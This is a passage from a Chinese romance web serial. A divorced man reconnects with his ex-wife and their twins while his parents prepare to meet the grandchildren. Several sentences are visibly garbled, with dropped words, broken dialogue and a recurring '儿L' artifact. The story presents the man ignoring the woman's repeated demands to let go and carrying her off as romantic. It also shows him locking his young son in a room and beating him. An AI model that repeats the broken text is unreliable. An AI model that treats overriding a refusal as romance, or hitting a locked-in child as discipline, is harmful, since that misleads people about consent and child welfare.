赵叙平笑笑:“行,就看您了,我盼着您把周静烟一块儿叫过来。” 回到自己房间,赵叙平还是给周静烟发了条消息,告诉她,母亲意外发现了两个孩子的存在,和父亲审问他一番,他只能全都招了。 许久,周静烟一直没回,他忍不住又发去一条:【老人家想看孩子的心情可以理解,你一时难以接受的心情也可以理解,反正我永远站在你这边,你要不愿意,周末咱就不去。】 几分钟后,周静烟终于回复:【刚才阿姨给我打电话了】 赵叙平心里松一口气。 原来这回没理他,是在接电话,不是故意晾着他。 被人晾着有多不好受,他可算是深刻体会到了。 赵叙平:【我妈怎么说的?】 周静烟:【跟你说得差不多,让我别有心理压力,想让孩子去就去,不让也没关系】 赵叙平:【那你让么?】 周静烟:【干嘛不让?叔叔阿姨都是很好的人,我跟你离婚,最放不下的人也是叔叔阿姨。孩子能见到爷爷奶奶,能被爷爷奶奶疼爱,是他俩的福气】 看见那句“最放不下的人也是叔叔阿姨”,赵叙平心里酸得不行,恨她为什么轻而易举就将自己放下,转念又想,自己哪有资格恨她? 她不恨他,已经够意思了。 不过话说回来,她对他这般抵触,心里应该是还有恨的。 这么一想,赵叙平竟好受了些——毕竟,还有恨,意味着还未彻底放下。 他点了根烟,回了三个字:【谢谢你】 周静烟没再回复。 他放下手机,关灯抽烟,盯着黑暗中忽明忽暗的红点,又想起了跟她有关的从前。 从前时常嫌她笨,嫌她烦,等她走了,倒是想起她的好来,觉得她哪哪都好,自己哪哪都坏。 凌晨,赵叙平寂寞难耐,到底给她发去一条语音。 “周静烟,我睡不着,想你。”他说。 出于意料,对面竟然回了。 周静烟回的是一行字:【赵叙平,你后悔么?】 他眼泪忽地涌出,深深吸气,嗓音喑哑:“咱俩离婚后,我没有一天不后悔。” 周静烟:【后悔也没用。咱俩离婚后,我从不后悔。】 赵叙平泪水止不住,在黑暗中捂脸痛哭。 好一会儿,他嗓子哑得厉害:“周静烟,以前我对你不够好,我知道错了。” 周静烟:【睡吧】 赵叙平:“不要,陪我聊聊成么?我心里太难受了,跟针扎似的。” 周静烟:【以前你往我心上捅刀子的时候呢?要不要我跟你说说,我是怎么挺过来的?】 泪水模糊双眼,赵叙平心痛难忍,喉咙堵得没法再说出一个字,手掌无力握住手机,手机掉落在床上,他双手捧着脸,埋头哭了许久。 凌晨两点,赵叙平哭得身体发麻,好半天才缓过劲儿,打出一句话发给她:【你回不回来,我永远都在。】 没想到这次周静烟秒回:【我要是选择别人呢?】 赵叙平又没绷住,眼泪哗哗往下淌。 他不回复,周静烟倒是追问起来:【问你呢,我要是选择别人,你还等我么?】 赵叙平颤抖着打出几行字,又一个个删掉,最后只留三个字:【一直等。】 周静烟:【拜你所赐,我对男人已经没有任何兴趣了】 他仰脸深吸一口气,缓缓吐出,痛苦依然未减半分。 最后,他用语音回复:“周静烟,那盒巧克力还在。” 第56章 第56章【VIP】 赵叙平说*完这话,那头陷入长久的沉默。 他握着手机默默流泪,终于等来周静烟开口。 “所以呢?”她问,声音很轻,语气淡漠。 倒没有不耐烦,只是含着几分不屑。 “现在说这些,又有什么意义?”她再次开口。 赵叙平吸了吸鼻子,长长呼气,想说话,喉咙太疼,缓了片刻卑微求道:“我知道现在自己做什么都没法让你回头,可你能不能别……” 他哽咽着,又缓了缓才继续求:“别不理我……” 不知过了多久,周静烟淡声回应:“孩子是孩子,我是我,孩子跟你,还有你们家可以相认,也可以多接触,但我俩不行。” 赵叙平流着泪摇头,不愿意接受:“为什么偏偏我俩不行?” “因为我已经习惯了没有你的生活,就像从前,习惯了有你的生活。人一旦习惯了什么,改变必然带来痛苦,赵叙平,我再也不想回到从前那种痛苦中去了。” 赵叙平闭上眼,泪水决堤,好半天才反应过来,那头已经挂断。 彻夜无眠,清早,赵叙平冲了个澡,下楼时碰见父母,三个人,六双眼睛,都是红红的。 赵叙平无奈扯唇,嗓音沙哑:“你俩也没睡好?” 章芝纭剜他一眼:“还不是你干的好事!当年不那么作,我和你爸早就能享天伦之乐了!” 赵叙平没为自己找理由,点点头:“要不你俩揍我一顿吧,像小时候那样儿,男女混合双打。” 赵天成冲他摆出扑克脸,冷声:“揍你一顿能让我儿媳妇和孙子孙女回来,你肯定跑不了!关键是揍你也没用,你个没用玩意儿!” 被父亲骂得灰头土脸,赵叙平转身走向玄关。 章芝纭:“吃了早饭再走!” 他摇摇头,出门前扭脸看着父母:“爸,妈,你俩千万别上周静烟那儿,冒然过去,我怕她不高兴。” 章芝纭恨铁不成钢:“这时候倒是体贴,早干嘛去了?” 他羞愧难当,沉着脸默默离开。 眼见儿子出门,章芝纭长叹一声,对丈夫说道:“八成一宿没睡。” 赵天成冷哼:“他要是睡得着,那还是人?换做我,我天天睡不着!” 章芝纭叹息更深:“唉,还得等到周六才能见孩子……老赵,要不你把我敲晕吧,最好使大点儿力气,让我晕到周六才醒!” 赵天成笑妻子可爱,心里的焦急不比妻子少半分,在客厅里来回踱步,预想接下来的日子肯定每天都吃不好睡不好,心烦意乱,坐如针毡。 为了缓解痛苦,两口子决定多找些事情做。 他们将两间客房改成儿童房,将房间装饰得充满童心,又在花园里装了儿童秋千,买了许许多多玩具。 章芝纭还跟着短视频学做零食,边做边念叨:“给孩子吃的东西可得小心,外头卖的添加剂多,咱自己做,吃着放心!” 一天学做很多种,累得腰疼,赵天成劝她别这么拼,家里又不是没有做饭阿姨,这种事交给阿姨就行。 章芝纭瞥他:“要不说你也是个大直男呢!亲自做,这叫心意,懂不懂?而且为我孙子孙女做吃的,多累我都乐意!那可是我亲孙子亲孙女,我得好好疼爱。” 赵天成能理解她妻子心情,好意提醒:“心意人家静烟肯定懂,她养出来的孩子肯定也知道奶奶对他俩的爱,不过我劝你还是悠着点儿,本来骨头就受过伤,别又累出问题来,到时候想陪孩子玩都费劲。” 章芝纭一想,这话很有道理,听劝每天量力而行。 周四下班,赵叙平刚上车便接到母亲电话。 “今晚有应酬么?”那头,章芝纭问。 赵叙平答道:“没应酬,也没加班,正常下班。” 章芝纭:“你打算去哪儿?” 赵叙平:“回家呗,哪儿也不想去。” 章芝纭:“怎么不去静烟那儿看看孩子?” 赵叙平叹气,仰脸闭上眼睛:“您以为我不想啊?关键是静烟现在特讨厌我,一见我就烦,我也没脸总去给她添堵。” 章芝纭“啧”一声,骂道:“活该!” 赵叙平沉默片刻,问:“妈,找我什么事儿?” 章芝纭骂他时语气很硬,这时候又软得很,甚至带了点儿哭腔:“我想孩子,想得我抓心挠肝啊……你说不知道还好,知道了,可真是难熬!” 赵叙平:“再忍忍吧,周六就能见面,也没多久了。” 章芝纭 赵叙平心一紧:“您可别自个儿去找他们,等会儿静烟不高兴。” ,你去。” 赵叙平懵了:“啊?我去?” 章芝纭:“对,反正你下班也没事儿,赶紧过去看看孩子,偷摸给孩子拍点儿照片、视频,发到咱家群里,让我和你爸看看!我不好意思管静烟要,只能指使你了。” 赵叙平无语又想笑,拒绝道:“今天过去,静烟肯个孩子,还,多那什么啊!” 章芝纭语气又变硬:“别废话,让你过去就子呢!多拍点儿啊,照片最少十张,视频,不许偏心!” 没等赵叙平开口,那头说完立马挂断。 赵叙平盯着手机屏幕苦笑,摇摇头,吩咐司机换方向,往周静烟那儿开。 过去自然挨了周静烟一顿白眼,孩子们倒是很高兴,围着他问东问西。 周听雨:“赵叔叔,你怎么又来啦?” 赵叙平:“想你们了,就来了。” 周云生:“妈妈跟我俩说啦,周六一早要去你爸爸妈妈家做客!” 赵叙平:“开心吗?爷爷奶奶给你俩准备了很多东西,吃的玩儿的,应有尽有。” 孩子们一起举着手蹦跳欢呼。 周听雨体贴问道:“赵叔叔,你吃饭了吗?” 赵叙平摇头:“没呢,下班就赶过来。” 周听雨拉着他的手往饭厅走:“快坐下吧,家里还有一点儿剩饭,我问问妈妈能不能给你炒个蛋炒饭。” 一直沉默的周静烟终于开口:“不能,赵叔叔不爱吃蛋炒饭。” 其实这人不挑食,以前她做什么他都吃。 赵叙平赶忙说:“没事儿,我不饿,一顿不吃也行。” 周云生:“我们老师说过,人是铁饭是钢,一顿不吃饿得慌!要不你自个儿做吧,别麻烦我妈妈。” 赵叙平笑着摸摸他脑袋:“行,叔叔自个儿做。云生真棒,知道心疼妈妈。” 周静烟快步走到厨房门口,拦住赵叙平去路。 “你出去吃吧,吃完就回家,不用回来了。说好的周末见,别坏了规矩。”她抱着胳膊冷冷说。 赵叙平回头看一眼孩子,又朝她倾了倾身子,压低声音:“那什么,我妈派我来的。” 周静烟眨眨眼,困惑看着他。 赵叙平接着说:“老人家太想孩子了,让我过来偷摸给孩子拍点儿照片视频,提前看一看,我再三拒绝,没用,所以硬着头皮过来。你就当可怜可怜老人家,成么?” 周静烟想:这一点自己真是疏忽了,确实该发些孩子从小到大的记录给他父母看。 “照片视频我存了很多,等会儿挑些出来发给叔叔阿姨。你赶紧回去。”她不给情面继续撵人。 赵叙平想赖在这儿,忽然听见外头打雷,紧接着下起大雨,唇角止不住笑意:“哎哟,不巧了,要下暴雨了。” 说完,又是一道雷,还带闪电。 周听雨吓得惊叫,周云生见姐姐害怕,跑去拉窗帘,被母亲叫住。 “云生,你俩老实待着,妈妈出去收衣服。”周静烟快步走到阳台,迅速收完衣服抱进来,将这堆衣服放沙发上,挨个去关窗。 雷声不断,周听雨怕得紧,往赵叙平怀里钻,在他怀里捂着耳朵说:“赵叔叔,你别走了,外面危险!我可不想你被雷劈死!” 赵叙平故意扬声,生怕周静烟听不见:“是啊,这大雨天,打雷又闪电,可太危险了!” 他扭头,看着一旁正摆弄乐高小人的周云生,问:“云生,你说是不是?” 周云生:“是!” 他乐呵呵抱着闺女进屋找周静烟,周静烟关好最后一扇窗户,转身往外走,见他过来,蹙眉瞥一眼,从他身旁绕过。 他在她后面撵着问:“太危险了,是不是?你就说是不是?” 周静烟定住脚步,扭头一记眼刀送他。 他读得懂这个眼神的含义——怎么不让雷劈死你?! 雷好一会儿才停,雨却没停。 周静烟知道这人打算拿雨当借口,在这赖一晚,想撵人也没办法,谁叫儿女都护着他?尤其是女儿,生怕他出去被雨淋感冒。 她心里想:要说这俩孩子是白眼狼吧,倒也不是,只不过太单纯,被赵叙平的糖衣炮弹给迷惑了。 默默看着赵叙平给孩子们拍照录视频,她叹息一声,回到自己卧室。 等孩子们都睡着了,雨才停,周静烟又开始撵人:“这下总能走了吧?” 赵叙平摸着后脑勺笑道:“太晚了,不好——” 周静烟看看时钟:“九点,晚么?” 赵叙平:“确实不算太晚,可是——” 周静烟走到大门口,来开门,抱着胳膊站门边:“没什可是不可是的,赶紧滚!” 赵叙平愣了愣,迈开步子,却不是走向门口,而是走向沙发。 他扶着额,往沙发上一趟,压着嗓子叫唤起来:“哎哟!头疼……疼死了……” 哼唧一会儿,他又咳嗽两声。 “哎我天,感冒了,难受死。” 周静烟看呆了,关上门,走到沙发边,低头盯着这个无耻混蛋。 “不是,赵叙平,在屋里待着,一滴雨没淋着,你还能感冒?” 他抬起胳膊,小臂横在脸上,遮住眼睛,长叹一口气才说:“不知道啊,怎么回事儿啊,我也纳闷儿来着……真是病来如山倒啊!”越说越忍不住乐,扬着唇角,肩膀耸个不停。 周静烟气得上手拧他胳膊:“无赖!” 其实没怎么用力,这人咬牙倒抽凉气,像是疼得厉害。 周静烟收手,愣愣看着他,正纳闷,被他攥住腕子往下一拽,身子撞进他胸膛。 “哎你!你放开!放开!听见没有!”她不敢大叫,低声凶道,狠狠捶他肩膀。 赵叙平眉心微锁,看她一小会儿,眨了眨眼:“不放,这辈子都不会再放手。” 周静烟急得快哭出来:“大晚上的,孩子看见怎么办!” 赵叙平:“睡得正香呢,看不着。” 周静烟扭头望向儿童房,仍是冲他摇头:“你先放开,有话好好说。” “不放,放开你又要走。” “不会的,先放开。” 赵叙平微微撒手,她立马起身,还没来得及抬腿,那只手又攥上她腕子,将她拽回来。 这次赵叙平坐着,直接将她拽到自己腿上,双臂圈住她细腰,任她怎么骂都不松开。 “我是无赖,是混蛋,是混不吝滚刀肉,我是什么都行,随你骂去,反正不管我是什么,你都是我的。” 周静烟扑腾累了,也骂累了,无力地靠在他怀中,闭眼长叹。 他扳过她的脸,薄唇在她脸颊上游走,停在那双唇上,轻轻吻一下。 “周静烟,还想不想吃那个巧克力?”他问。 她忽地睁眼,神情带着些怨气:“我要是说想,你拿过期那个给我吃?” 赵叙平听得直乐,屈着手指轻蹭她鼻梁:“可能么?还给你买那个牌子,买新的,买一屋子。” 她撇撇嘴,轻哼:“早就不稀罕了。” 赵叙平觉着她生气也极好看,亲亲那微鼓的腮帮子,笑道:“我稀罕你。” “谁稀罕你稀罕!” “那我也稀罕。” “赵叙平,你有完没完?” “没完。” “那你自个儿睡沙发,我困了,我要回去睡觉。” “别介,这雨还得下,半夜打雷你又害怕。” 以前就是,打雷就往他怀里钻。 看来这点女儿随她。 周静烟被说得不好意思,又开始挣扎,没想到这人直接将她打横抱起,迈步走向卧室。 第57章 第57章【VIP】 后半夜,暴雨果然再次袭来。 折腾得累了,两个人都很快入睡,暴雨伴着雷鸣而至,周静烟下意识往男人怀里钻,瑟缩着脖子发颤。 “别怕。”男人睡得迷迷糊糊,轻声哄道,闭着眼吻了吻她脸颊,话语和动作也是下意识做出。 雷如龙吟般连延一阵,忽地伴随炸开的闪电发出巨吼,周静烟吓得叫出声,脸紧紧埋在男人胸膛,身子颤得厉害。 这会儿赵叙平彻底醒了,黑暗中轻扯唇角,薄唇贴在她耳边,话里温柔尽显:“我就说不能走吧?走了你可怎么办。” 她羞得厉害,软绵绵的拳捶到他肩上,被他大手包裹住。 他的掌心依然温热,依然带着薄茧,恍惚间,周静烟仿佛回到好些年前。 有一次雨下得特大,雷也大,她一直缩在他怀里,紧贴着他宽厚的胸膛,心想就算天塌下来也不怕。 他身上那种木质般沉静的香气,周静烟闻到便安心。 一时间,她竟感觉回到从前,还像从前那般唤他:“哥哥。” 赵叙平愣了愣,含笑回应:“嗯?” “打雷好吓人。” “没关系,哥哥在。” “有哥哥抱着,烟烟就不怕。” “乖。” 赵家哥哥又开始吻她。 吻得她有些喘不上气时,她才清醒,推开他不让继续,他痞笑着问,不要那你勾我干嘛?她说她那会儿正迷糊,还没完全醒。他可不管,勾了就是勾了,没醒又如何,燃火了她得负责灭。周静烟哼哼嘤嘤灭到天亮才算完。 离婚前她在这档子事儿上挨过不少骂,又是骚又是浪的,赵叙平边骂边折腾,起先她还羞得很,后来索性认了,眼里带着迷蒙笑意,也带着风情,娇媚横生认下来,点头说我就这样,哥哥喜不喜欢?这般招人,赵叙平哪能不喜欢?简直喜欢得要死。 这回换做她骂赵叙平。骂他不是东西,小小年纪就惦记邻家妹妹,又是给巧克力又是温柔哄人,长大了还要欺负那妹妹,床下欺负完床上又欺负,原来早就没安好心。 这人也不知怎么了,越骂他,他越得劲,按着她又来一回,嘴上坦荡,说哥哥还真不是个东西,哥哥惦记你不是一天两天,小玩意儿这么招人,给哥哥弄两下怎么了?哥哥弄你还少么?他疯得没边,周静烟想骂也骂不了,话一出口就细细碎碎,半天说不完整。 天光大亮才疯完,赵叙平起身拿纸,给她清理干净,眉眼含笑柔声哄道:“趁孩子没起,赶紧洗个澡。” 周静烟哪里下得来,漂亮杏眼里泪盈盈,又羞又怨,他知道怎么回事儿,抱着她去浴室,浴室里正好有椅子,他将周静烟放椅子上,让她缓了缓,等自己洗完,见她缓过些劲来,又给她洗。 “搬回去吧,这地儿太小,住着憋屈。你看,洗澡都费劲。”屋顶矮,他个头高,空间上就感觉压抑。 周静烟靠着椅背沉默一会儿,摇头开口:“不要,我都住习惯了。” 赵叙平叹气:“孩子总不能一直住这儿吧?” 周静烟侧头冷冷反问:“住这儿怎么了?” 关于孩子的事儿,赵叙平没法心平气和哄她:“我的孩子,得住好地方。” 周静烟知道跟他说不通,懒得开口,他也识趣,闭嘴默默穿衣服。 俩人刚出来没多久,孩子就醒了,从房间跑出来,周听雨见赵叙平还在,高兴地举着手要抱抱。 赵叙平一把将她抱起,指着窗外:“看,雨后天晴。” 周听雨点头:“出太阳啦!今天赵叔叔可以带我们出去玩儿吗?” 赵叙平:“叔叔也想啊,可是今天得上班,周末我能陪你们两天。” 他走到门口放下闺女,冲她挥挥手,又冲周静烟和周云生挥挥手,临走前嘱咐俩孩子要听妈妈的话。 等他离开,周听雨跑去沙发那,问母亲:“妈妈,赵叔叔昨晚睡这儿吗?” 周静烟哪好意思说这人昨晚跟自己睡卧室,红着脸点点头。 周听雨叹了口气:“赵叔叔个儿高,睡沙发不舒服,真可怜……” 周静烟看着这个小家伙,生气又想笑:“你倒是真会关心他,干脆认他当爸爸算了!” 周听雨苦着小脸继续叹气:“不行,我有爸爸了……” 周静烟走到她跟前,坐沙发上,抱起胳膊笑眯眯逗她:“万一爸爸对你没有叔叔对你这么好呢?听雨还会选爸爸吗?” 周听雨歪起小脑袋,认真思索这个问题,最后仍是叹气:“算了,见到爸爸再说吧。” ,看着女儿陷入沉思。 过了一小会儿,她将儿女叫到身边,握着他俩的手,问:“吗?” 欢!” 姐我一句聊起来。 “赵叔叔家好大好漂亮啊!” “对!家里还有电梯!真神奇!” “前面后面都有院子呢!” “还有好多好多玩具!” “我觉着像宫殿!” “我觉着像城堡!” …… 叽叽喳喳吵得周静烟耳朵疼,她蹙眉打断:“停!收!咳咳——假如赵叔叔邀请你俩搬去他家住,你俩愿意吗?” 周听雨小脑袋歪向另一边,眨着眼问:“那你和爸爸呢?你俩也要一起搬进去住吗?” 周静烟摇头:“我和爸爸继续住这儿。” 周云生纳闷:“为什么只有我和姐姐搬过去呀?” “因为……”周静烟不好回答,想了想,说,“爸爸和你们都住那儿,妈妈自己留在这个家。” 周云生还是不懂:“为什么爸爸和赵叔叔住,妈妈自己住?” 周听雨忽然举高小手:“我知道了!因为我们是爸爸和赵叔叔生的孩子,妈妈不是我们的妈妈!” 周静烟差点笑岔气,抹着眼泪跟她解释:“宝贝儿,男人和男人生不了孩子,妈妈是你们的亲妈妈。” 周听雨抓着她胳膊晃啊晃:“那你也跟着一起搬进去嘛!” “我……我还是更喜欢住这儿。主要是看你俩太喜欢赵叔叔家了,就想着让你俩过去。”她摸摸儿女的头,柔声问,“怎么样,想去么?” 周听雨点点头,又摇头:“想,但我不去,我要永远陪着妈妈。” 周云生将脑袋靠进母亲怀里:“我也是,陪妈妈!” 周静烟听得想落泪,亲亲他俩的小脸蛋,紧紧抱住他俩,舍不得撒手。 这个夜晚,章芝纭和丈夫激动得整宿没睡。 俩人捧着手机,将儿子发来的照片视频看了又看,不住地夸赞。 “老赵,咱家孙女可真好看!叫什么来着?听雨,对,听雨!名儿真好啊,配上这名字,妥妥是个大美人儿!” “叙平说儿子淘,我看可没他小时候淘,这不挺懂事儿么,还帮着收拾玩具。” “可不嘛,比他小时候强多了!” “而且我瞧着,孙子也比他小时候好看!” “对!一代更比一代强!哎哟,真想亲亲俩孩子的小肉脸!” “再忍忍,再忍忍……” 赵天成劝着妻子,心里又何尝不急,盯着手机望眼欲穿,想起儿子就来气,好不容易等到天亮,打电话准备数落这小子一顿,那头没接,快九点又打一次,终于打通了。 赵天成问儿子在哪,他说在公司。赵天成又问他昨晚是不是住周静烟那,他大咧咧承认。 “静烟同意你在那睡?”赵天成颇为惊讶。 “不同意,我死皮赖脸留那儿。”赵叙平倒是坦荡。 赵天成冷哼骂道:“不害臊!” 赵叙平笑起来:“我打小就没脸没皮,您又不是不知道。” 赵天成:“静烟现在对你什么看法?” “还能什么看法?觉着我不要脸呗。”想起昨晚一场场恩爱,赵叙平忍不住乐出声。 果然,脸皮厚吃个够,脸皮薄吃不着,他心里想。 赵天成骂了儿子两句,叹气:“我看他们住那房子挺小,装修也不怎么好,你想法子尽快把娘仨接回去。以前不知道就算了,现在知道了,哪能一直让人家住那。” 这事儿赵叙平也正愁:“今早还跟周静烟提呢,她不乐意搬。” 赵天成:“那就是你提的方式不对,你瞧瞧你这个‘提’字儿用得,一听就高高在上!现在跟静烟商量事儿是‘提’么?你得求!因为你有求于人家!” 父亲的话让赵叙平瞬间悟了,姜还是老的辣,看来是自己的方式不对。 求一次不行,就多求几次。多求几次也不行,就一直求一直求。 赵叙平振奋起精神:“得嘞,谢您提醒,下班我又赶着求人去。” 他算是发现了,周静烟现在虽然心狠,可也没那么狠。自己多赖一赖,多磨一磨,她照样拿他没招。 下班原本有个应酬,赵叙平觉着去不去都行,便让秘书给推了,到点儿走人,直奔周静烟住处。 娘仨晚饭吃得早,他赶到时,连白米饭都不剩了。 这会儿赵叙平真有些饿,倚着厨房门口,摸摸肚子,问还有没有别的东西吃,哪怕挂面都行。 周听雨拿来一包小饼干,周云生贡献出自己吃剩的半个蒸蛋糕,周静烟丢给他一对白眼。 赵叙平左手握着小饼干,右手握着蒸蛋糕,笑眯眯迎上那对白眼,腆着脸问:“有没有热乎的啊?” 周云生指指微波炉:“赵叔叔,用那个可以热蛋糕。” 赵叙平眼皮子抽了抽:“谢谢提醒,叔叔知道,只是叔叔——” 实在吃不下你啃过的蛋糕。赵叙平叹了口气,掏出手机准备点外卖,听见周静烟说道:“橱柜里有挂面,自己煮去。” 忙一天,他是真的累,懒得动弹,还是决定点外卖,正要下单,忽然瞥见周静烟站在灶台前忙活,赶紧走到她身边,问:“干嘛呢?” 周静烟盖上锅盖:“煮面。” 赵叙平欣喜若狂,指着自己:“给我?” 周静烟冷冷应一声。 他飞快往后看了看,俩孩子都没在厨房,立马伸手过去揽她,被她侧身躲开。 “别得意,我就是想着,煮碗面打发你,吃饱了赶紧滚,别又跟个癞皮狗似的,赖在我这儿不走。” 他一点儿不生气,从后面抱住她,薄唇贴贴她后脖颈,轻声问:“怎么着,昨儿癞皮狗没让你吃饱?” 这话问得暧昧,语气也痞得很,周静烟俏脸通红,抬腿踩他一脚,痛得他低呼,紧咬着牙,眉头皱得老深。 “滚出去,别在厨房碍眼!”周静烟骂道。 他拖着腿离开,真跟条受伤老狗似的。 没一会儿,周静烟端出来一碗面,咣当放饭桌上。 赵叙平脚虽疼,心却暖,拖着腿走向饭桌——其实已经没那么疼了,这回演的成分更大些。 他已经饿得前胸贴后背,这碗热腾腾的面来得正是时候,满脸兴奋吃一口,笑容立马僵住。 好甜,好咸,味道好怪…… 赵叙平抬眸看向周静烟,见她冰冷的面孔上压抑着笑意,反应过来怎么回事儿,手拢在唇边,干咳一声:“那什么,其实也没多饿。” 周静烟抱起胳膊,侧头瞧他,下巴扬了扬:“吃啊,辛辛苦苦给你煮的。” 周云生跑过来,爬到他旁边那张椅子上:“哇,妈妈煮的面条看着好好吃!” 周静烟摸摸儿子脑袋:“乖,明早妈妈给你煮。” 周云生:“我现在就想吃!” 周静烟脸色一变:“不行,这个你不能吃!” 周云生:“就要就要!晚饭我都没吃饱!” 赵叙平也劝道:“听话,别吃,这面条……不适合你。” “哼!小气!”周云生冲他叉腰,“我都跟你分享蛋糕了!” 赵叙平:“那我也没吃你那蛋糕啊。” 周云生:“小气小气小气!” 赵叙平:“就小气了,怎么着?” 他拿起筷子,硬着头皮大口大口吃面,吃完最后一口,疯狂给自己灌水。 周云生跳下椅子,手里玩具狠狠往地上摔:“妈妈坏!不给我吃面!赵叔叔小气!不给我吃面!” 这孩子头一次在赵叙平跟前耍横,气得他拍桌,冷着脸命令:“周云生,把玩具捡起来。” “不捡不捡就不捡!” “再给你一次机会,捡起来。” “哼!我才不听你的!” “你小子今天非得挨顿揍才老实是吧?” “你凭什么揍我!你出去!别在我家待着!” “凭什么?凭老子是你爹!” 第58章 第58章【VIP】 这话让周云生气得跳脚:“你才不是我爸爸!我爸爸马上回来了!爸爸回来我就叫他揍你!” 赵叙平从椅子上起身,冷哼:“行,你叫他揍一个试试,看他听不听你的。” 周云生挺直腰板也得仰头看他,脸都气红了,非但不捡地上的玩具,反而将其他玩具也扔地上。 “就扔就扔我就扔!这是我家!我想怎么扔怎么扔!” 周听雨在一旁摇摇头,抓住母亲的手,叹了口气:“妈妈,弟弟疯了。” 儿L子不是头一回耍横,以往这种时候,周静烟会立马制止他,将他单独带进房间批评教育,这回赵叙平在,她还没来得及开口,父子俩就斗起来。 周静烟想教育儿L子,又觉得儿L子已经被赵叙平凶了,自己再去批评,怕他幼小的心灵承受不住。 她愣愣站在原地,提心吊胆看着这对父子,最后一个劲冲赵叙平摇头,示意他别再说下去,即便要跟孩子坦白,现在也不是时候。 赵叙平正在气头上,哪管得了这些,一心只想收拾这小子,走过去将地上的玩具一一捡起来,捡完立马捞起这小子走进儿L童房,砰地关门,反锁。 周静烟冲过去直拍门,没人给她开,她赶忙去找钥匙,着急起来慌了神,忘记钥匙放哪了,到处翻找也没找到,又去拍门,边拍边喊:“赵叙平你冷静点儿L!云生还小,好好跟他讲道理!” 里面压根没人理她,她和女儿L守在门口听,父子俩吵得正凶。 周云生:“放我出去!听到没!我叫你放!我!出!去!” 赵叙平:“嚷嚷什么嚷嚷?冲谁嚷嚷啊你?” 周云生:“就冲你嚷嚷!赵!叙!平!你放我出去!” 赵叙平:“嘿你个小王八蛋,你爹名字是你叫的?” 周云生:“都说了你不是我爹!我自个儿L有爹!我爹可比你强多了!” 赵叙平:“老子真服了,怎么就生出这么个犟种!” 周云生:“你别想占我便宜,我才不是你儿L子!你个老王八蛋!” 周静烟紧促眉心,隔着门无奈叹息,暗想:有其父必有其子,老王八蛋决战小王八蛋,难分高下。 里头传来儿L子的哭声,她凑得更近,听见啪啪声,知道儿L子正被揍,听声儿L像是在打屁股。 “老子今天还治不了你?周云生你记好了,以后对你妈对我都放尊重点儿L,尤其是对你妈,你妈养你容易么,动不动就摔东西耍横,跟谁学的!” 儿L子嚎啕大哭,边哭边嚷:“你管不着呜呜呜!凭什么揍我呜呜呜!你滚你滚呜呜呜!” 周静烟心痛不已,怎么拍门赵叙平也不理,情急之下,她忽然想起什么,赶紧找到手机,给赵叙平母亲打电话。 那头很快接通。 “静烟,好久不见,有什么事儿L吗?”章芝纭没想过今晚周静烟会主动联系自己,心情有些激动,也有些不安,怕她忽然取消明天送孩子们过来的计划。 “阿姨,您跟叔叔现在有空么,能不能来一趟?”周静烟焦急问道。 章芝纭听她这边吵吵嚷嚷,还有哭声,立马紧张起来:“叙平又跟你闹了?” 周静烟叹息一声,解释:“不是跟我,是跟儿L子。儿L子今晚闹脾气砸东西,被叙平关屋里教训了,这会儿L正挨揍,我怕叙平揍得太狠,想进屋制止,可门被他反锁,钥匙我又找不着,这可——” 不等她说完,章芝纭忍不住骂道:“他有什么脸揍孩子!养过孩子一天么他就好意思动手!哎哟!可苦了我的孙儿L了……” 周静烟:“阿姨,您赶紧过来一趟吧,看能不能劝住叙平,我怕他把孩子打坏了……” “静烟,你发个定位给我,门牌号也记得发,我这就叫上你叔叔!赵叙平敢揍我孙子,我今晚一定不会让他吃到好果子!” 章芝纭挂断电话。 周静烟听见儿L童房里头还在哭哭骂骂,深吸一口气,抱着女儿L走进自己卧室。 她坐在床沿,将女儿L抱到自己腿上,认真看着女儿L,横下心决定坦白。 “听雨,妈妈想跟你说个事儿L。” 周听雨点点头,睁大眼睛看着她。 周静烟问:“你是不是很喜欢赵叔叔?” 周听雨又点了点头。 周静烟:“你是不是也很喜欢爸爸?” 周听雨思考片刻,答道,可我肯定会喜欢他,谁叫他是我爸爸!” 周静烟深呼吸,低头沉默一小会儿L, “如果赵叔叔就是爸爸呢?如果赵叔叔就是听雨的爸爸,听雨还会喜欢他吗?”。 孩子到底是孩子,再聪明也被这话绕进去了,伸出左手,嘟囔:“这是赵叔叔。”又伸出右手,嘟囔:“这是爸爸。”两只小手交叠:“这是他俩,他俩一样。” 小脑袋忽地仰起脸,瞪大眼睛:“妈妈,?” 周静烟点头。 女儿L目光迷茫片刻,神情变得呆滞,像是陷入了巨大的困惑。 隔壁,赵叙平已经停止打骂,儿L子依然在哭闹,周静烟长叹一声,问女儿L:“听雨真的明白妈妈的话吗?” 周听雨轻轻点头:“我知道。” 周静烟心里忐忑不安:“那听雨现在什么心情?是高兴,还是难过?” 女儿L靠进她怀里,小声说:“不知道……” 周静烟听出来:“那就是有些难过,对不对?” “有一点儿L。” “为什么呢?” “赵叔叔是爸爸,爸爸是赵叔叔……为什么他要骗和弟弟呀?” “他怕忽然说出来,你俩不信,也怕吓着你俩。” “妈妈也骗我俩……” 听着女儿L哽咽的声音,周静烟心疼得要命,紧紧搂住女儿L,轻声道歉:“对不起,爸爸妈妈骗了你们这么久。” 她捧起女儿L的脸,吸吸鼻子,*笑道:“等会儿L爷爷奶奶也要来哦,爷爷奶奶可好了,很喜欢很喜欢你和弟弟。” 周听雨小脑瓜转了转:“爷爷奶奶就是赵叔叔——我爸爸的爸爸妈妈,对吗?” 周静烟:“对,爷爷奶奶以前对妈妈很好,对你们肯定也很好。以后你俩又多了两个人疼爱,好幸福的宝贝呀!” 周听雨脸上阴转晴,笑开花,举着小手挥了挥:“我也有爷爷奶奶啦!每次看到幼儿L园同学有爷爷奶奶姥姥姥爷来接,我都很羡慕呢!现在我也有啦!” 周静烟心想:赵叙平父母肯定想把孩子接回去,也想促成自己和赵叙平复婚。 她绝不会同意复婚,至于孩子平时跟谁一起生活,她倒是有些动摇了。 自己势单力薄,虽然当年赵家给了她许多钱,可无论从财力还是背景来看,孩子跟着赵家,都比跟着她强许多。 思来想去没有头绪,周静烟晃晃脑袋,逼自己暂且放下这件事。 她抱着女儿L回到客厅,儿L童房哭声小了许多,儿L子在里头抽抽搭搭。 周静烟敲了敲门:“云生,你认个错,说再不乱摔东西了,听话,赶紧认错!” 周云生扯着嗓子喊:“不要!认错我就白挨揍了!我没错!下次还摔!” 周静烟头疼起来,气儿L子只知道死犟,抱着女儿L转身走去沙发坐下,心说你们父子俩的事儿L我可懒得管。 没过多久,有人叩响大门,周静烟知道谁来了,立马起身,小跑着过去开门。 外头,赵叙平父母都在。 许久未见,重逢这一刻,大家都红了眼。 